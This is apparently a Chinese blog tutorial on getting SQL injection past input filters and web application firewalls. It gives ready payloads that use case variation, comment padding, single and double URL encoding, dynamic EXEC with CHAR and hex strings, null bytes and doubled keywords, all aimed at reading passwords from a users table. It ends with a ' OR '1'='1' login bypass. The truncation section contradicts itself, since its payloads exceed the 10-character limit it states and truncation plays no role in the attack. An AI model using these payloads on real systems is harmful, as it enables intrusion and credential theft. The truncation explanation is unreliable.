常见 SQL 注入绕过方法

简介: 常见 SQL 注入绕过方法

一、避开输入过滤器

Web应用通常会使用输入过滤器,设计这些过滤器的目的是防御包括SOL 注入在内的常见。这些过滤器可能位于应用的代码中(自定义输入验证方式),也可能在应用外部实现,形式为 Web应用防火墙(WAF)或入侵防御系统(IPS)


1.1 使用大小写变种

如果用关键字阻塞过滤器显得不够聪明,可以通过变换攻击字符串中字符的大小写来避开它们,因为数据库使用不区分大小写的方式处理SOL关键字。例如,如果下列输入被阻止:


UNION SELECT password FROM tblUsers WHERE username='admin'--

可以通过下列方法绕开过滤器:

uNiOn SeLeCt password FrOm tblUsers WhErE username='admin'--


1.2 使用 SQL 注释

可以使用内联注释序列来创建SQL代码段。这些代码段虽然在语法上有些怪异,但实际上却非常有效,能够避开多种输入过滤器

'/**/UNION/**/SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/
username/**/LIKE/**/'admin'--

1.3 使用 URL 编码

URL 编码的最基本表示方式是使用问题字符的十六进制 ASCI 码来替换它们,并在 ASCI 码前加%。例如,单引号字符的 ASCII码为0x27,其URL编码的表示方式为%27

'%2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/password%2f%2a*/FROM%2f%2a*/
tblUsers%2f%2a*/WHERE%2f%2a*/username%2f%2a*/LIKE%2f%2a*/'admin'--

这种基本的 URL 编码对其他情况不起作用,不过仍然可以通过对被阻止的字符进行双 URL 编码来避开过滤器。


在双编码中,原有中的%字符按正常方式进行 URL编码(即%25)。所以,单引号字符在双 URL 编码中的形式是%2527。如果将上述修改成双 URL编码,那么其格式将如下所示:

%27%252f%252a*%2FUNION%252f%252a*%2FSELECT%252f%252a*%2Fpassword%252f%252a*%2FFROM%252f%252a*%2F
tblUsers%252f%252a*%2FWHERE%252f%252a*%2Fusername%252f%252a*%2FLIKE%252f%252a*%2F%27admin%27--

1.4 使用动态查询执行

许多数据库都允许动态执行SQL查询,只须向执行查询的数据库函数传递一个包含SQL查询的字符串即可。

如果找到了一个有效的SQL 注入点,但后来却发现应用过滤器阻止了想注入的查询,那么可以使用动态执行来避开该过滤器。

不同数据库中动态查询执行的实现会有所不同。在 MicrosofSQLServer 中,可以使用EXEC函数执行一个字符串格式的查询。例如:

EXEC('SELECT password FROM tblUsers')

在Oracle中,可以使用 EXECUTE IMMEDIATE 命令执行一个字符串格式的查询。例如:

DECLARE pw VARCHAR2(1000);
BEGIN
    EXECUTE IMMEDIATE 'SELECT password FROM tblUsers' INTO pw;
    DBMS_OUTPUT.PUT_LINE(pw);
END;

数据库提供了多种操作字符串的方法。要想使用动态执行战胜输入过滤器,关键是使用字符串操作函数将过滤器允许的输入转换成一个包含所需查询的字符串。


对于最简单的情况,可以使用字符串连接技术将较小的部分构造成一个字符串


不同数据库使用不同的语法来连接字符串。例如,如果SOL关键词SELECT被阻止,就可以按下列方式构造它:  

Oracle:    'SEL'||'ECT'
MS-SQL:    'SEL'+'ECT'
MySQL:     'SEL' 'ECT'

注意:在 HTTP 提交时需要将 '+' 和 '空格' 单独转为 URL 编码

进一步讲,可以使用CHAR函数(Oracle中为CHR)来构造单独的字符

CHAR 函数可以接收每个字符的 ASCII码。例如,要想在SQLServer 中构造 SELECT 关键词,可以使用:

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

请注意,按照这种方式构造字符串时不需要使用任何引号字符

如果所拥有的SQL注入入口点阻止了引号标记,就可以使用CHAR函数来向利用中放置字符串(例如'admin')


还有另外一种在 SOLServer 平台上构造动态执行的字符串的方法:使用代表字符串ASCII字符编码的十六进制数字来实例化字符串

例如:

SELECT password FROM tblUsers

可以按照下列方式进行构造并动态执行:

DECLARE @query VARCHAR(100)
SELECT @query=0x53454c4543542070617373776f72642046524f4d2074626c5573657273
EXEC(@query)

1.5 使用空字节

通常那些为利用 SQL 注入而必须避开的输入过滤器都是在应用程序自身的代码之外实现的,比如在入侵检测系统(IDS)或WAF中。

由于性能原因,这些组件通常由原生语言(比如C++)编写。对于这种情况,可以使用空字击来避开输入过滤器并将输入至后台应用程序中。


空字节之所以能起作用,是因为原生代码和托管代码分别采用不同的方法来处理空字节。


在原生代码中,根据字符串起始位置到出现第一个空字节的位置来确定字符串长度(空字节有效终止了字符串)。


而在托管代码中,字符串对象包含一个字符数组(可能包含空字节)和一条单独的字符串长度记录。


这种差异意味着原生过滤器在处理输入时,如果遇到空字节,便会停止处理,因为在过滤器看来,空字节代表字符串的结尾。


如果空字节之前的输入是良性的,那么过滤器将不会阻止该输入。


不过在托管代码语境中,应用在处理相同的输入时,会将跟在空字节后面的输入一同处理以便执行利用。


要想执行空字节攻击,只需在过滤器阻止的字符前面提供一个采用URL 编码的空字节(%00)即可。


在原来的例子中,可以使用下列格式的攻击字符串来避开原生输入过滤器:

%00' UNION SELECT password FROM tblUsers WHERE username='admin'--

1.6 双写关键词

例如,如果从输入中剥离了 SQL 关键词SELECT,就可以使用下列输入战胜过滤器:

SELSELECTECT

1.7 利用截断

审查过滤器通常会对用户提供的数据执行多种操作,有时这些操作中会包括将输入截断成最大的长度(可能是为了尽力阻止缓冲区溢出攻击)或者调整数据使其位于拥有预定义最大长度的数据库字段内。


假设有一个登录页面,用户需要输入用户名和密码来进行身份验证。应用程序使用以下SQL查询来检查用户提供的凭据是否有效:

SELECT * FROM users WHERE username = '<username>' AND password = '<password>'

应用程序对用户输入进行了过滤,以防止SQL注入。它使用了简单的截断过滤,即将输入的长度限制在特定的字符数。例如,用户名和密码被限制为10个字符。攻击者利用这个截断过滤机制来执行SQL注入攻击。他们知道用户名和密码会被拼接到SQL查询中,并且长度被限制为10个字符。构造了一个特殊的用户名和密码,如下:

Username: ' OR '1'='1' --
Password: ' OR '1'='1' --


在这个案例中,使用了注释符(--)来注释掉原始的查询语句的剩余部分,确保恶意代码不会导致语法错误。他们利用OR运算符和'1'='1'条件来绕过用户名和密码的验证,从而获取所有用户的凭据。


当应用程序尝试执行SQL查询时,查询语句会变成以下形式:

SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '' OR '1'='1' --

由于截断过滤将用户名和密码限制为10个字符,成功地将恶意代码注入到查询中。' OR '1'='1' 条件始终为真,所以查询返回了所有用户的凭据,绕过了应用程序的身份验证机制


相关文章
|
11天前
|
SQL 关系型数据库 MySQL
怎么通过第三方库实现标准库`database/sql`的驱动注入?
在Go语言中,数据库驱动通过注入`database/sql`标准库实现,允许统一接口操作不同数据库。本文聚焦于`github.com/go-sql-driver/mysql`如何实现MySQL驱动。`database/sql`提供通用接口和驱动注册机制,全局变量管理驱动注册,`Register`函数负责添加驱动,而MySQL驱动在`init`函数中注册自身。通过这个机制,开发者能以一致的方式处理多种数据库。
|
17天前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 简单使用
SQL 注入神器:SQLMap 简单使用
|
25天前
|
SQL 存储 Java
如何避免SQL注入攻击?
如何避免SQL注入攻击?
|
1月前
|
SQL 关系型数据库 MySQL
MYSQL根据查询结果删除sql 去除重复id 新增对比前一条与后一条数据 去重3种方法​ 窗口函数
MYSQL根据查询结果删除sql 去除重复id 新增对比前一条与后一条数据 去重3种方法​ 窗口函数
|
1月前
|
SQL 安全
jeecg-boot sql注入漏洞解决
jeecg-boot sql注入漏洞解决
108 0
|
1天前
|
SQL 安全 Java
Spring Boot中的跨站点脚本攻击(XSS)与SQL注入防护
【6月更文挑战第15天】在现代Web应用程序开发中,安全性是一个至关重要的课题。跨站点脚本攻击(XSS)和SQL注入是最常见的两种攻击类型,它们可以严重威胁到应用程序的安全。
6 0
|
12天前
|
SQL 监控 安全
sql注入取数据库
SQL注入是一种攻击技术,用于在SQL查询中注入恶意代码,从而绕过安全措施,获取、修改或删除数据库中的数据。这种行为是非法的,并且严重违反了网络安全和隐私原则。我不能提供关于如何进行SQL注入的指导或
|
14天前
|
SQL 数据库 关系型数据库
【SQL注入】 注入神器sqlmap的使用
数据库 SQL注入漏洞 sqlmap
51 2
|
17天前
|
SQL XML 安全
Pikachu SQL 注入通关解析
Pikachu SQL 注入通关解析
|
17天前
|
SQL 安全 关系型数据库
SQL注入常用姿势
该内容介绍了SQL注入攻击和防御的一些基本概念,以及MySQL中的几个函数:`MID()`用于提取文本字段的字符,`LIMIT()`用于限制查询结果的数量,`COUNT()`计算元组数量。它还详细讲解了两种SQL注入方法:基于布尔盲注和基于时间盲注,包括如何猜解数据库、表和字段信息。此外,还提到了SQL注入工具Sqlmap的使用方法和一些绕过过滤策略。
26 0
SQL注入常用姿势